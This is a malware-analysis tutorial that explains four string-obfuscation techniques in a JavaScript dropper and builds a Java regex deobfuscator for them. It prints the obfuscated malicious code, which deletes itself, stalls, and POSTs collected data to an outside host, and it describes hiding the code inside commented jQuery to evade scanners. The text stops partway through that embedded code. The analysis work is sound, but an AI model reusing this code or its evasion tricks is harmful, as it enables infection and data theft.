JavaScript string concatenation deobfuscation

This article was published on the 3rd of June 2020.

Deobfuscating a sample can be a tedious task. To decrease the time it takes, one can automated the deobfuscation process. In this sample, four types of obfuscation within the script are analysed, after which they are deobfuscated with the help of regular expressions. The analysis process, as well as the creation of the deobfuscator, is done in the usual step-by-step manner. Lastly, the malware sample itself is analysed. Note that even though this sample is small enough to be deobfuscated manually, the goal is to learn how to automate this process.

Table of contents

Sample information

This JavaScript malware is given in a single package that contains four files. The first is the sample as it is spread in the wild. The second contains the beautified code without comments. The third contains the deobfuscated code, and the fourth contains a refactored version of the deobfuscated code. The sample package can be downloaded from MalShare, Malware Bazaar, or VirusBay.

JavaScript MD-5: b9eaab6939e533fcc55c3e53d8a93c1c
JavaScript SHA-1: ebf4ee7caa5f1fdf669eae33201a3ef2c43a57d7
JavaScript SHA-256: 908721abc193d0d709baf8f791dbaa09a6b4414ca6020f6fad1ba8aa7dddd6e5

Package MD-5: 2d169c43c42f102d00f3c25e821b7199
Package SHA-1: ef78c857a658445688f98d7ed1d346834594295f
Package SHA-256: 0521fe4d7dd2fb540580f981fa28196c23f0dd694572172f183b7869c1c072b5

This sample was shared with me by an anonymous researcher, who I’d like to thank for doing so.

Taking a first look

Upon looking at the script’s file size (a little bit over 90 kilobyte), one might expect that the script is rather big. Upon opening the file, one will see only one very long line of code. When beautifying the code, it becomes apparent that the malicious code is put in-between two legitimate pieces of commented code. An excerpt from the malicious code is given below.

/*Comment that contains code from jQuery*/
try {
    var rhepu = getAXO(("w", "b", "S") + ("f", "I", "u", "h", "B", "c") + ("m", "O", "r") + ("Q", "z", "i") + ("m", "q", "X", "p", "r", "p") + ["v", "I", "S", "t", "l"][(949 - 946)] + ("e", "b", "I", "y", "i") + ("e", "g", "S", "T", "Z", "n") + ["o", "g", "u"][(-531 + 532)] + "." + ["F", "E"][(200 - 200)] + "i" + "l" + ("m", "V", "U", "c", "e") + ("b", "n", "o", "S") + "y" + ("o", "q", "A", "c", "J", "s") + ("m", "k", "G", "t") + ("v", "o", "r", "e") + ("k", "w", "m") + ["O", "n"][(899 - 899)] + "b" + "j" + "e" + "c" + ["t", "N"][(290 - 290)]);
    rhepu["D" + "e" + ("W", "y", "F", "j", "j", "l") + ("P", "u", "G", "G", "a", "e") + ["m", "R", "z", "o", "t", "E"][(-393 + 397)] + ["n", "B", "e", "z", "e"][(668 - 666)] + "F" + ("d", "f", "i") + ("u", "i", "F", "a", "m", "l") + ["e", "F", "T", "e"][(-643 + 643)]](this[("J", "w", "x", "J", "W") + ("B", "C", "i", "S") + "c" + ("T", "c", "H", "p", "Q", "r") + "i" + ("m", "u", "p") + ["q", "t", "A", "M", "r", "K", "a"][(-185 + 186)]][
        ["m", "P", "S", "K", "O", "O"][(-757 + 759)] + ("c", "b", "c") + ["r", "g"][(-321 + 321)] + ["D", "v", "H", "i", "d", "a", "A"][(847 - 844)] + ("C", "d", "k", "p") + ["i", "t", "p"][(115 - 114)] + ("R", "H", "z", "d", "r", "F") + "u" + "l" + "l" + "N" + "a" + "m" + ("Q", "m", "W", "W", "e")
    ], true);
} catch (e) {}
var zuqyljaah = ("u", "T", "k", "h") + ["t", "G", "H", "M", "X", "n"][(-130 + 130)] + ["t", "E", "r", "T"][(-854 + 854)] + "p" + ":" + "/" + "/" + ["6", "B"][(-689 + 689)] + "0" + ("s", "M", "a", "e") + "a" + ["s", "t", "H", "y", "p", "0", "b"][(395 - 390)] + ["d", "2", "P", "m"][(-362 + 363)] + ["H", "c", "W", "6", "w"][(874 - 871)] + ("X", "s", "0") + "." + "a" + ("Y", "U", "Y", "J", "s", "u") + "t" + ("v", "E", "k", "t", "G", "h") + "." + ["G", "H", "c", "q"][(-698 + 700)] + ("t", "U", "X", "o") + ("u", "p", "d") + "i" + "n" + ["g", "u", "Y"][(-279 + 279)] + ("L", "D", "e", "t", "b") + ("L", "T", "i") + "t" + "." + "c" + "o" + "." + ("u", "R", "u", "i") + "n" + "/" + ["P", "v", "x", "s", "r", "c", "r"][(-350 + 353)] + ("j", "G", "u") + ["j", "R", "b", "q"][(312 - 310)] + ("N", "l", "k", "N", "R", "m") + ("I", "K", "i") + ("W", "o", "j", "e", "t") + "." + "a" + ["E", "z", "k", "f", "s", "U"][(-412 + 416)] + ["m", "j", "v", "p", "g"][(-354 + 357)] + ("o", "s", "w", "x");
var tid = ["5", "O"][(-765 + 765)] + ("R", "m", "l", "f", "z", "0") + ("L", "C", "g", "g", "0");
var r8h = ["S", "g", "a", "L", "r"][(202 - 200)] + "a" + ("c", "H", "L", "m", "d") + "2" + "8" + ("q", "y", "O", "0") + ("y", "Y", "a", "o", "a") + ("x", "B", "p", "p", "9");
var gudel6 = [];
gudel6[("A", "F", "p") + "u" + "s" + ["A", "u", "h", "m"][(584 - 582)]](["k", "a", "h"][(-497 + 498)]);
gudel6[["d", "p", "E", "i"][(37 - 36)] + "u" + ["s", "h", "K"][(935 - 935)] + ("t", "O", "h")](tid);
var kbiag = womzyjeptfu();
var jybspikivsu = kbiag + (224 - (-9776));
while (kbiag < jybspikivsu) {
    kbiag = womzyjeptfu();
    this[("T", "a", "w", "V", "W") + ["h", "S", "G", "I", "z"][(-666 + 667)] + ("x", "C", "u", "q", "c") + ["r", "Y"][(-326 + 326)] + ["S", "t", "i", "g", "f", "Y"][(-190 + 192)] + ("b", "q", "p") + "t"]["S" + "l" + ("u", "C", "e") + "e" + ["p", "U", "s", "E", "R"][(-375 + 375)]]((464 - (-536)));
}
//More code is omitted due to brevity
/*More jQuery code that is commented out*/

Removing the two comments does not impact the script’s functionality, but decreases the size from 90 kilobytes to roughly 8 kilobyte. Most text editors will work smoother with the smaller file. The legitimate code is added as comments to decrease the chance that the malware sample is detected by rules or scanners.

Used obfuscation techniques

In this section, the four types of obfuscation that are present in the script, will be addressed. Note that the term character does not refer to the type, but rather to a string which is only one character in size.

The comma operator

As documented by Mozilla, each of the expressions is evaluated, but only the last one is returned. As such, only the last character is returned. An example is given below.

("w", "b", "S")

This technique adds dead code, as there are unused strings present. The brackets are used to include the comma operator within another string.

String array usage

The second method is the usage of an array of strings, of which only one is used. The chosen string from the array is based upon the index, which is calculated using two numbers. An example is given below.

["v", "I", "S", "t", "l"][(949 - 946)]

Note that the operand of the equation for the index is either a plus or a minus.

String concatenation

Concatenating strings is generally done make sure rules do not trigger, as no matches are found when looking for a complete string. Matching a single character will result in too many false positives. An example is given below.

"l" + "e" + "n" + "g" + "t" + "h"

In this case, some of the individual strings that are concatenated are also obfuscated with either the comma operator technique, or with the string array technique.

Simplifying equations

Aside from the equation in the string array’s index, other integers in the script have also been replaced by similar equations. An example is given below.

82 - (-118)

Note that the operand is either a plus or a minus, where the numbers can also be negative.

Automated deobfuscation

In this section, the regular expressions to match the used obfuscation techniques are explained. After that, the matches are used to automatically remove the obfuscation from the script. The automation will be done using Java.

The order of the deobfuscation matters, as the string concatenation should happen only after the comma operand sequences and the string array sequences have been reverted.

Automation in Java

As some parts of the code will be re-used in multiple functions, the general outline will be explained first. No additional libraries are required to run the code.

Each function requires the complete script as a string. The altered version of this string is returned by the function after all matches have been processed. The Java code that is used to iterate over all matches of a regular expression, is given below.

Pattern pattern = Pattern.compile("[pattern_here]");
Matcher matcher = pattern.matcher(script);
 
while (matcher.find()) {
    //Iterate through all matches
}

Note that the matcher contains the group function. If called without an argument, the full match is returned. If given an integer as argument, a specific matcher group is returned. Additionally, the regular expression escape character is a backslash. The backslash character needs to be escaped in Java strings, which is done with an additional backslash.

To avoid including “\”” + variable + “\”” multiple times, a function named encapsulate is defined and used. The function, including documentation, is given below.

/**
 * Encapsulates the given string in quotes
 *
 * @param input the string to encapsulate between quotes
 * @return the encapsulated string
 */
private static String encapsulate(String input) {
    return "\"" + input + "\"";
}

To include literal quotes, one needs to escape the quote using a backslash.

Removing the comma operand sequences

All strings that are split by the comma operand are kept between brackets, after which each string is given, with a command and a space as separation. One has to match for an opening bracket and quotes, after which a alphanumeric character, quote, comma, and space occur repetitively. As such, one can use the following regular expression.

\("[" a-zA-Z0-9,]+\)

This matches the above described pattern until it encounters a closing bracket. Note that the brackets are escaped using the backslash to avoid counting as a capture group, instead of the literal variant.

The last string between quotes is returned by the comma operator, meaning that the index of the last occurrence of the quotes minus one is the index of the character that is returned. As such, the lastIndexOf function can be used to obtain the index within in a match. Once the single character is extracted, it needs to be encapsulated. Using the replace function, one can replace all occurrences of the full match with the result. Below, the Java code is given.

private static String removeCommaOperatorSequences(String script) {
    Pattern pattern = Pattern.compile("\\(\"[\" a-zA-Z0-9,]+\\)");
    Matcher matcher = pattern.matcher(script);
    while (matcher.find()) {
        String match = matcher.group();
        int lastIndex = match.lastIndexOf("\"");
        String result = match.substring(lastIndex - 1, lastIndex);
        result = encapsulate(result);
        script = script.replace(match, result);
    }
    return script;
}

Removing the string array sequences

The array sequences always start with a square bracket, after which all strings are declared. At last, the square bracket closes. To match this pattern, one needs to look for alphanumeric characters, as well as spaces, quotes, plus signs, and commas. All of these are between the square brackets and occur one or more time. The regular expression below matches this pattern.

\[[a-zA-Z0-9 "+,]+\]

The index of the character is put between square brackets. Within these square brackets, normal brackets are used to enclose the equation for the index value. In this script, the first number is potentially negative, which is why the -? operator is used: zero or one occurrence of the dash. The regular expression for the index is given below.

\[\(-?\d+[ +-]+\d+\)\]

To match the string array occurrences, the two regular expressions need to be put together. The code below iterates through all matches and calls two functions for each match: getIndex and getCharacters. Both functions require a single match as input, and return the index as integer value and a list of strings that contain the values of the string array respectively. The full match is then replaced by the character at the given index. The code is given below.

private static String removeStringArraySequences(String script) {
    Pattern pattern = Pattern.compile("\\[[a-zA-Z0-9 \"+,]+\\]\\[\\(-?\\d+[ +-]+\\d+\\)\\]");
    Matcher matcher = pattern.matcher(script);
    while (matcher.find()) {
        String match = matcher.group();
        int index = getIndex(match);
        List<String> characters = getCharacters(match);
        script = script.replace(match, characters.get(index));
    }
    return script;
}

The getIndex function is used to extract both numbers from the index part, as well as the operand that is used. By using three different capture groups, the required data can easily be extracted from the given input. The first is a potential negative number. The second capture group is the operator, which is either a minus or a plus. Note that the operator is both preceded and followed by an uncaptured space. Lastly, the second number is captured. The regular expression is given below.

([-?\d]+) ([-+]) ([\d]+)

When automating, one has to obtain the two numbers, and determine if an addition or subtraction should take place, based on the operand. The code to do so is given below.

private static int getIndex(String input) {
    Pattern pattern = Pattern.compile("([-?\\d]+) ([-+]) ([\\d]+)");
    Matcher matcher = pattern.matcher(input);
    int result = -1;
    while (matcher.find()) {
        int number1 = Integer.parseInt(matcher.group(1));
        String operand = matcher.group(2);
        int number2 = Integer.parseInt(matcher.group(3));
        if (operand.equals("-")) {
            result = number1 - number2;
        } else if (operand.equals("+")) {
            result = number1 + number2;
        }
    }
    return result;
}

Note that the return value of could potentially be -1, which would result in an error, as there is no index for -1 in the character list. Since this code is only applicable on a specific script, no further error handling is put in place.

To get all characters from the string array, one has to match all characters between quotes. The regular expression to do so is given below.

"(\S{1})"

This regular expression matches one non-white space character between quotes, as the arrays in this script only contain a single character per index. Each full match is then added to a list, which is returned at last. The code is given below.

private static List<String> getCharacters(String input) {
    List<String> output = new ArrayList<>();
    Pattern pattern = Pattern.compile("\"(\\S{1})\"");
    Matcher matcher = pattern.matcher(input);
    while (matcher.find()) {
        output.add(matcher.group());
    }
    return output;
}

No error handling is present, as the code is specific for this script.

Removing string concatenation sequences

As the script is already partially cleaned up by the removal of the comma separator sequences and the string array sequences, this regular expressions is used to match all strings that are concatenated by plus signs. This means that alphanumerical characters need to be matched, as well as spaces, the plus sign, the dot, the forward lash, and the colon. No other characters are present in this script, thus it is not needed to include those here. The regular expression to do so is given below.

"[a-zA-Z0-9 "+.\/:]+

The initial match is a quote, after which one or more of the given characters should follow. One can then use the split function to split based upon the space, plus, and space. This function takes a regular expression in the form of a string as input, meaning the plus sign needs to be escaped with a backslash, which needs an additional backslash as its used in a Java string. The string array then contains all characters, including the quotes that surround them. Using the replace function, these can be removed. The output should be stored in a separate string, which is encapsulated with quotes at the end. The full match should then be replaced with the concatenated string. The code is given below.

private static String concatenateStrings(String script) {
    Pattern pattern = Pattern.compile("\"[a-zA-Z0-9 \"+.\\/:]+)";
    Matcher matcher = pattern.matcher(script);
    while (matcher.find()) {
        String match = matcher.group();
        String result = "";
        String[] characterArray = match.split(" \\+ ");
        for (String character : characterArray) {
            character = character.replace("\"", "");
            result += character;
        }
        result = encapsulate(result);
        script = script.replace(match, result);
    }
    return script;
}

Simplifying equations

To restore the other numbers in the script to their original value, a regex that matches three things things is required: the first number, the operand, and the second number. As brackets are being used around the complete equation, as well as around numbers, its important not to break anything. As such, the outer brackets are kept as they are. This creates an additional capture group, as the outer brackets are used during the matching. The regular expression is given below.

\((([-]*\d+)[ ]([+-])[ (]*([-]*\d+))\)

The first capture group is the full match without the escaped brackets. The second capture group is the first number. The third capture group is the operand, and the fourth capture group is the second number. As seen previously, the result of the addition or subtraction is calculated based upon the operand, after which it is replaced. The code is given below.

private static String simplifyEquations(String script) {
    Pattern pattern = Pattern.compile("\\((([-]*\\d+)[ ]([+-])[ (]*([-]*\\d+))\\)");
    Matcher matcher = pattern.matcher(script);
    while (matcher.find()) {
        String match = matcher.group(1);
        int number1 = Integer.parseInt(matcher.group(2));
        String operand = matcher.group(3);
        int number2 = Integer.parseInt(matcher.group(4));
        String result = "";
        if (operand.equals("-")) {
            result += number1 - number2;
        } else if (operand.equals("+")) {
            result += number1 + number2;
        }
        if (match.contains("(")) {
            match += ")";
        }
        script = script.replace(match, result);
    }
    return script;
}

Note that the result variable is typed as a string, as the replace function only works with strings, not integers. Additionally, if the script contains an opening bracket, a closing bracket should be added prior to the replacement call. Otherwise more brackets are opened than closed, causing a syntax error in the script.

The complete script

Piecing the whole together requires one more function: the main function. The complete code is given below, where the main function uses the created functions to alter the script, which is eventually printed to the standard output.

import java.util.ArrayList;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
 
/**
 * This deobfuscator is part of my Binary Analysis Course, which can be found
 * here: https://maxkersten.nl/binary-analysis-course/
 *
 * More specifically, this code is related to this article:
 * https://maxkersten.nl/binary-analysis-course/analysis-scripts/javascript-string-concatenation-deobfuscation/
 *
 * @author Max 'Libra' Kersten
 */
public class SomeJavaScriptDeobfuscator {
 
    /**
     * The main function gets the script, after which it calls the removal and
     * simplify functions. At last, the deobfuscated script is printed to the
     * standard output.
     */
    public static void main(String[] args) {
        //Gets the script
        String script = getScript();
 
        //Remove things like ("w", "b", "S")
        script = removeCommaOperatorSequences(script);
 
        //Remove patterns like ["v", "I", "S", "t", "l"][(949 - 946)]
        script = removeStringArraySequences(script);
 
        //Remove patterns like "l" + "e" + "n" + "g" + "t" + "h"
        script = concatenateStrings(script);
 
        //Remove equations like 82 - (-118)
        script = simplifyEquations(script);
 
        //Print the modified script to the standard output stream
        System.out.println(script);
    }
 
    /**
     * Replaces equations with their outcome using
     * <code>\((([-]*\d+)[ ]([+-])[ (]*([-]*\d+))\)</code> as a regular
     * expression.
     *
     * An example of such an equation is <code>82 - (-118)</code>
     *
     * @param script the script to modify
     * @return the modified script
     */
    private static String simplifyEquations(String script) {
        //The regular expression to match: \((([-]*\d+)[ ]([+-])[ (]*([-]*\d+))\)
        Pattern pattern = Pattern.compile("\\((([-]*\\d+)[ ]([+-])[ (]*([-]*\\d+))\\)");
        //The string to match
        Matcher matcher = pattern.matcher(script);
        //Iterate through all occurrences
        while (matcher.find()) {
            //Get the full match
            String match = matcher.group(1);
            //Get the first number in the equation
            int number1 = Integer.parseInt(matcher.group(2));
            //Get the operand within the equation
            String operand = matcher.group(3);
            //Get the second number in the equation
            int number2 = Integer.parseInt(matcher.group(4));
            /**
             * Declare the variable to store the result in. The type is a
             * string, as the replace function expects a string and not an
             * integer
             */
            String result = "";
            /**
             * If the operand equals minus, the second number is deducted from
             * the first number. If the operand equals plus, it is added.
             */
            if (operand.equals("-")) {
                result += number1 - number2;
            } else if (operand.equals("+")) {
                result += number1 + number2;
            }
            /**
             * If the full match contains an opening bracket, it is missing the
             * closing bracket, meaning it should be added to avoid breaking the
             * input script's functionality
             */
            if (match.contains("(")) {
                match += ")";
            }
            //Replace the match with the result in the script, and store the result in the script variable
            script = script.replace(match, result);
            //Continue to the next match
        }
        //Once all matches have been replaced, the altered script is returned
        return script;
    }
 
    /**
     * Concatenates characters using <code>"[a-zA-Z0-9 "+.\/:]+</code> as a
     * regular expression.
     *
     * An example occurrence is <code>"l" + "e" + "n" + "g" + "t" + "h"</code>
     *
     * @param script the script to modify
     * @return the modified script
     */
    private static String concatenateStrings(String script) {
        //The regular expression to match: "[a-zA-Z0-9 "+.\/:]+
        Pattern pattern = Pattern.compile("\"[a-zA-Z0-9 \"+.\\/:]+");
        //The string to match with the given regular expression
        Matcher matcher = pattern.matcher(script);
        //Iterate through all matches
        while (matcher.find()) {
            //Get the complete match
            String match = matcher.group();
            //Create the result variable
            String result = "";
            /**
             * Split the match based upon a space, a plus, and a space. The
             * split function takes the input as a regular expression, meaning
             * the plus sign needs to be escaped with a backslash (which is also
             * escaped in a Java string, hence the two backslashes)
             */
            String[] characterArray = match.split(" \\+ ");
            //Iterate through all entries in the array
            for (String character : characterArray) {
                //Replace the occurrence of quotes with nothing, effectively removing the quotes
                character = character.replace("\"", "");
                //Append the character to the output
                result += character;
            }
            //Put the result between quotes
            result = encapsulate(result);
            //Replace the full match with the result
            script = script.replace(match, result);
            //Continue to the next match
        }
        //When all matches have been processed, the altered script is returned
        return script;
    }
 
    /**
     * Removes the string array and its index selection using
     * <code>\[[a-zA-Z0-9 "+,]+\]\[\(-?\d+[ +-]+\d+\)\]</code> as a regular
     * expression.
     *
     * An example occurrence is
     * <code>["v", "I", "S", "t", "l"][(949 - 946)]</code>
     *
     * @param script the script to modify
     * @return the modified script
     */
    private static String removeStringArraySequences(String script) {
        //Sets the regular expression: \[[a-zA-Z0-9 "+,]+\]\[\(-?\d+[ +-]+\d+\)\]
        Pattern pattern = Pattern.compile("\\[[a-zA-Z0-9 \"+,]+\\]\\[\\(-?\\d+[ +-]+\\d+\\)\\]");
        //Sets the string to match
        Matcher matcher = pattern.matcher(script);
        //Iterate through all matches
        while (matcher.find()) {
            //Get the full match
            String match = matcher.group();
            //Get the index from the match using the getIndex function
            int index = getIndex(match);
            //Gets all characters from match using the getCharacters function
            List<String> characters = getCharacters(match);
            //Replace the occurrence of the full match using the character that is present at the index
            script = script.replace(match, characters.get(index));
            //Continue to iterate through all matches
        }
        //Return the altered script once all matches have been processed
        return script;
    }
 
    /**
     * Gets all characters from the array in the given input string (which is a
     * match based on <code>\[[a-zA-Z0-9 "+,]+\]\[\(-?\d+[ +-]+\d+\)\]</code>)
     *
     * @param input a match of
     * <code>\[[a-zA-Z0-9 "+,]+\]\[\(-?\d+[ +-]+\d+\)\]</code>
     * @return a list of all characters
     */
    private static List<String> getCharacters(String input) {
        //Declare and instantiate a new list
        List<String> output = new ArrayList<>();
        //The regular expression to match: "(\S{1})"
        Pattern pattern = Pattern.compile("\"(\\S{1})\"");
        //The string to match
        Matcher matcher = pattern.matcher(input);
        //Iterate through all matches
        while (matcher.find()) {
            //Add the full match to the output list
            output.add(matcher.group());
            //Continue to iterate through all matches
        }
        //Return the list of characters
        return output;
    }
 
    /**
     * Gets the index based on the two numbers and their operand in a match of
     * <code>\[[a-zA-Z0-9 "+,]+\]\[\(-?\d+[ +-]+\d+\)\]</code>
     *
     * @param input a match of
     * <code>\[[a-zA-Z0-9 "+,]+\]\[\(-?\d+[ +-]+\d+\)\]</code>
     * @return the index
     */
    private static int getIndex(String input) {
        //The regular expression to match: ([-?\d]+) ([-+]) ([\d]+)
        Pattern pattern = Pattern.compile("([-?\\d]+) ([-+]) ([\\d]+)");
        //The string to match
        Matcher matcher = pattern.matcher(input);
        //The variable to store the result in
        int result = -1;
        //Iterate through all matches
        while (matcher.find()) {
            //Get the first number
            int number1 = Integer.parseInt(matcher.group(1));
            //Get the operand (either a plus or a minus)
            String operand = matcher.group(2);
            //Get the second number
            int number2 = Integer.parseInt(matcher.group(3));
            //Check the value of the operand
            if (operand.equals("-")) {
                //If the operand is a minus, the second number is subtracted from the first
                result = number1 - number2;
            } else if (operand.equals("+")) {
                //If the operand is a plus, the two numbers are added together
                result = number1 + number2;
            }
        }
        return result;
    }
 
    /**
     * Removes all comma operator parts in the script using
     * <code>\("[" a-zA-Z0-9,]+\)</code> as a regular expression
     *
     * An example of such an operator is <code>("w", "b", "S")</code>.
     *
     * @param script the script to modify
     * @return the modified script
     */
    private static String removeCommaOperatorSequences(String script) {
        //The regular expression to match: \("[" a-zA-Z0-9,]+\)
        Pattern pattern = Pattern.compile("\\(\"[\" a-zA-Z0-9,]+\\)");
        //The string to match the regular expression on
        Matcher matcher = pattern.matcher(script);
        //Iterate through all matches
        while (matcher.find()) {
            //Get the full match
            String match = matcher.group();
            //Find the last index of a quote
            int lastIndex = match.lastIndexOf("\"");
            //Get the character before the last occurrence of a quote (meaning the character)
            String result = match.substring(lastIndex - 1, lastIndex);
            //Encapsulate the character
            result = encapsulate(result);
            //Replace the match with the encapsulated character
            script = script.replace(match, result);
            //Continue to the next match
        }
        //Return the altered script once all matches are processed
        return script;
    }
 
    /**
     * Encapsulates the given string in quotes
     *
     * @param input the string to encapsulate between quotes
     * @return the encapsulated string
     */
    private static String encapsulate(String input) {
        return "\"" + input + "\"";
    }
 
    /**
     * Gets the script
     *
     * @return the script in the form of a string
     */
    public static String getScript() {
        return "try {\n"
                + "    var rhepu = getAXO((\"w\", \"b\", \"S\") + (\"f\", \"I\", \"u\", \"h\", \"B\", \"c\") + (\"m\", \"O\", \"r\") + (\"Q\", \"z\", \"i\") + (\"m\", \"q\", \"X\", \"p\", \"r\", \"p\") + [\"v\", \"I\", \"S\", \"t\", \"l\"][(949 - 946)] + (\"e\", \"b\", \"I\", \"y\", \"i\") + (\"e\", \"g\", \"S\", \"T\", \"Z\", \"n\") + [\"o\", \"g\", \"u\"][(-531 + 532)] + \".\" + [\"F\", \"E\"][(200 - 200)] + \"i\" + \"l\" + (\"m\", \"V\", \"U\", \"c\", \"e\") + (\"b\", \"n\", \"o\", \"S\") + \"y\" + (\"o\", \"q\", \"A\", \"c\", \"J\", \"s\") + (\"m\", \"k\", \"G\", \"t\") + (\"v\", \"o\", \"r\", \"e\") + (\"k\", \"w\", \"m\") + [\"O\", \"n\"][(899 - 899)] + \"b\" + \"j\" + \"e\" + \"c\" + [\"t\", \"N\"][(290 - 290)]);\n"
                + "    rhepu[\"D\" + \"e\" + (\"W\", \"y\", \"F\", \"j\", \"j\", \"l\") + (\"P\", \"u\", \"G\", \"G\", \"a\", \"e\") + [\"m\", \"R\", \"z\", \"o\", \"t\", \"E\"][(-393 + 397)] + [\"n\", \"B\", \"e\", \"z\", \"e\"][(668 - 666)] + \"F\" + (\"d\", \"f\", \"i\") + (\"u\", \"i\", \"F\", \"a\", \"m\", \"l\") + [\"e\", \"F\", \"T\", \"e\"][(-643 + 643)]](this[(\"J\", \"w\", \"x\", \"J\", \"W\") + (\"B\", \"C\", \"i\", \"S\") + \"c\" + (\"T\", \"c\", \"H\", \"p\", \"Q\", \"r\") + \"i\" + (\"m\", \"u\", \"p\") + [\"q\", \"t\", \"A\", \"M\", \"r\", \"K\", \"a\"][(-185 + 186)]][\n"
                + "        [\"m\", \"P\", \"S\", \"K\", \"O\", \"O\"][(-757 + 759)] + (\"c\", \"b\", \"c\") + [\"r\", \"g\"][(-321 + 321)] + [\"D\", \"v\", \"H\", \"i\", \"d\", \"a\", \"A\"][(847 - 844)] + (\"C\", \"d\", \"k\", \"p\") + [\"i\", \"t\", \"p\"][(115 - 114)] + (\"R\", \"H\", \"z\", \"d\", \"r\", \"F\") + \"u\" + \"l\" + \"l\" + \"N\" + \"a\" + \"m\" + (\"Q\", \"m\", \"W\", \"W\", \"e\")\n"
                + "    ], true);\n"
                + "} catch (e) {}\n"
                + "var zuqyljaah = (\"u\", \"T\", \"k\", \"h\") + [\"t\", \"G\", \"H\", \"M\", \"X\", \"n\"][(-130 + 130)] + [\"t\", \"E\", \"r\", \"T\"][(-854 + 854)] + \"p\" + \":\" + \"/\" + \"/\" + [\"6\", \"B\"][(-689 + 689)] + \"0\" + (\"s\", \"M\", \"a\", \"e\") + \"a\" + [\"s\", \"t\", \"H\", \"y\", \"p\", \"0\", \"b\"][(395 - 390)] + [\"d\", \"2\", \"P\", \"m\"][(-362 + 363)] + [\"H\", \"c\", \"W\", \"6\", \"w\"][(874 - 871)] + (\"X\", \"s\", \"0\") + \".\" + \"a\" + (\"Y\", \"U\", \"Y\", \"J\", \"s\", \"u\") + \"t\" + (\"v\", \"E\", \"k\", \"t\", \"G\", \"h\") + \".\" + [\"G\", \"H\", \"c\", \"q\"][(-698 + 700)] + (\"t\", \"U\", \"X\", \"o\") + (\"u\", \"p\", \"d\") + \"i\" + \"n\" + [\"g\", \"u\", \"Y\"][(-279 + 279)] + (\"L\", \"D\", \"e\", \"t\", \"b\") + (\"L\", \"T\", \"i\") + \"t\" + \".\" + \"c\" + \"o\" + \".\" + (\"u\", \"R\", \"u\", \"i\") + \"n\" + \"/\" + [\"P\", \"v\", \"x\", \"s\", \"r\", \"c\", \"r\"][(-350 + 353)] + (\"j\", \"G\", \"u\") + [\"j\", \"R\", \"b\", \"q\"][(312 - 310)] + (\"N\", \"l\", \"k\", \"N\", \"R\", \"m\") + (\"I\", \"K\", \"i\") + (\"W\", \"o\", \"j\", \"e\", \"t\") + \".\" + \"a\" + [\"E\", \"z\", \"k\", \"f\", \"s\", \"U\"][(-412 + 416)] + [\"m\", \"j\", \"v\", \"p\", \"g\"][(-354 + 357)] + (\"o\", \"s\", \"w\", \"x\");\n"
                + "var tid = [\"5\", \"O\"][(-765 + 765)] + (\"R\", \"m\", \"l\", \"f\", \"z\", \"0\") + (\"L\", \"C\", \"g\", \"g\", \"0\");\n"
                + "var r8h = [\"S\", \"g\", \"a\", \"L\", \"r\"][(202 - 200)] + \"a\" + (\"c\", \"H\", \"L\", \"m\", \"d\") + \"2\" + \"8\" + (\"q\", \"y\", \"O\", \"0\") + (\"y\", \"Y\", \"a\", \"o\", \"a\") + (\"x\", \"B\", \"p\", \"p\", \"9\");\n"
                + "var gudel6 = [];\n"
                + "gudel6[(\"A\", \"F\", \"p\") + \"u\" + \"s\" + [\"A\", \"u\", \"h\", \"m\"][(584 - 582)]]([\"k\", \"a\", \"h\"][(-497 + 498)]);\n"
                + "gudel6[[\"d\", \"p\", \"E\", \"i\"][(37 - 36)] + \"u\" + [\"s\", \"h\", \"K\"][(935 - 935)] + (\"t\", \"O\", \"h\")](tid);\n"
                + "var kbiag = womzyjeptfu();\n"
                + "var jybspikivsu = kbiag + (224 - (-9776));\n"
                + "while (kbiag < jybspikivsu) {\n"
                + "    kbiag = womzyjeptfu();\n"
                + "    this[(\"T\", \"a\", \"w\", \"V\", \"W\") + [\"h\", \"S\", \"G\", \"I\", \"z\"][(-666 + 667)] + (\"x\", \"C\", \"u\", \"q\", \"c\") + [\"r\", \"Y\"][(-326 + 326)] + [\"S\", \"t\", \"i\", \"g\", \"f\", \"Y\"][(-190 + 192)] + (\"b\", \"q\", \"p\") + \"t\"][\"S\" + \"l\" + (\"u\", \"C\", \"e\") + \"e\" + [\"p\", \"U\", \"s\", \"E\", \"R\"][(-375 + 375)]]((464 - (-536)));\n"
                + "}\n"
                + "\n"
                + "function womzyjeptfu() {\n"
                + "    return new Date()[(\"c\", \"z\", \"T\", \"g\") + \"e\" + [\"w\", \"o\", \"t\", \"y\", \"Y\"][(-295 + 297)] + \"T\" + \"i\" + [\"T\", \"A\", \"m\", \"B\", \"s\"][(-495 + 497)] + (\"F\", \"h\", \"e\")]();\n"
                + "}\n"
                + "sendRequest(gudel6);\n"
                + "\n"
                + "function sendRequest(gudel6, ores) {\n"
                + "    if (typeof ores === \"u\" + \"n\" + \"d\" + \"e\" + [\"H\", \"f\", \"g\", \"K\", \"k\"][(286 - 285)] + \"i\" + [\"k\", \"n\", \"H\"][(839 - 838)] + \"e\" + (\"r\", \"C\", \"q\", \"d\")) {\n"
                + "        ores = false;\n"
                + "    }\n"
                + "    var jwavamhho = '',\n"
                + "        pjedafxexrzo5 = '',\n"
                + "        umulmpy0;\n"
                + "    for (var rajdysnnejav = 0; rajdysnnejav < gudel6[\"l\" + [\"K\", \"B\", \"e\", \"g\", \"w\", \"l\", \"w\"][(103 - 101)] + \"n\" + \"g\" + (\"M\", \"c\", \"b\", \"t\") + \"h\"]; rajdysnnejav++) {\n"
                + "        jwavamhho += rajdysnnejav + '=' + encodeURIComponent('' + gudel6[rajdysnnejav]) + '&';\n"
                + "    }\n"
                + "    jwavamhho = ypychyby(jwavamhho);\n"
                + "    try {\n"
                + "        var aqwi4;\n"
                + "        aqwi4 = getAXO((\"Z\", \"M\", \"u\", \"M\") + \"S\" + \"X\" + \"M\" + \"L\" + (\"h\", \"v\", \"2\") + \".\" + (\"x\", \"Z\", \"S\", \"X\") + \"M\" + \"L\" + \"H\" + [\"y\", \"x\", \"i\", \"T\", \"j\", \"v\"][(465 - 462)] + \"T\" + \"P\");\n"
                + "        aqwi4[(\"b\", \"f\", \"q\", \"I\", \"Z\", \"o\") + [\"f\", \"h\", \"p\", \"N\"][(-171 + 173)] + \"e\" + [\"n\", \"r\", \"s\"][(823 - 823)]](\"P\" + \"O\" + \"S\" + [\"y\", \"I\", \"T\", \"a\", \"J\", \"i\", \"P\"][(-620 + 622)], zuqyljaah, false);\n"
                + "        aqwi4[\"s\" + (\"x\", \"k\", \"l\", \"e\") + \"n\" + [\"d\", \"l\", \"H\", \"P\"][(120 - 120)]](jwavamhho);\n"
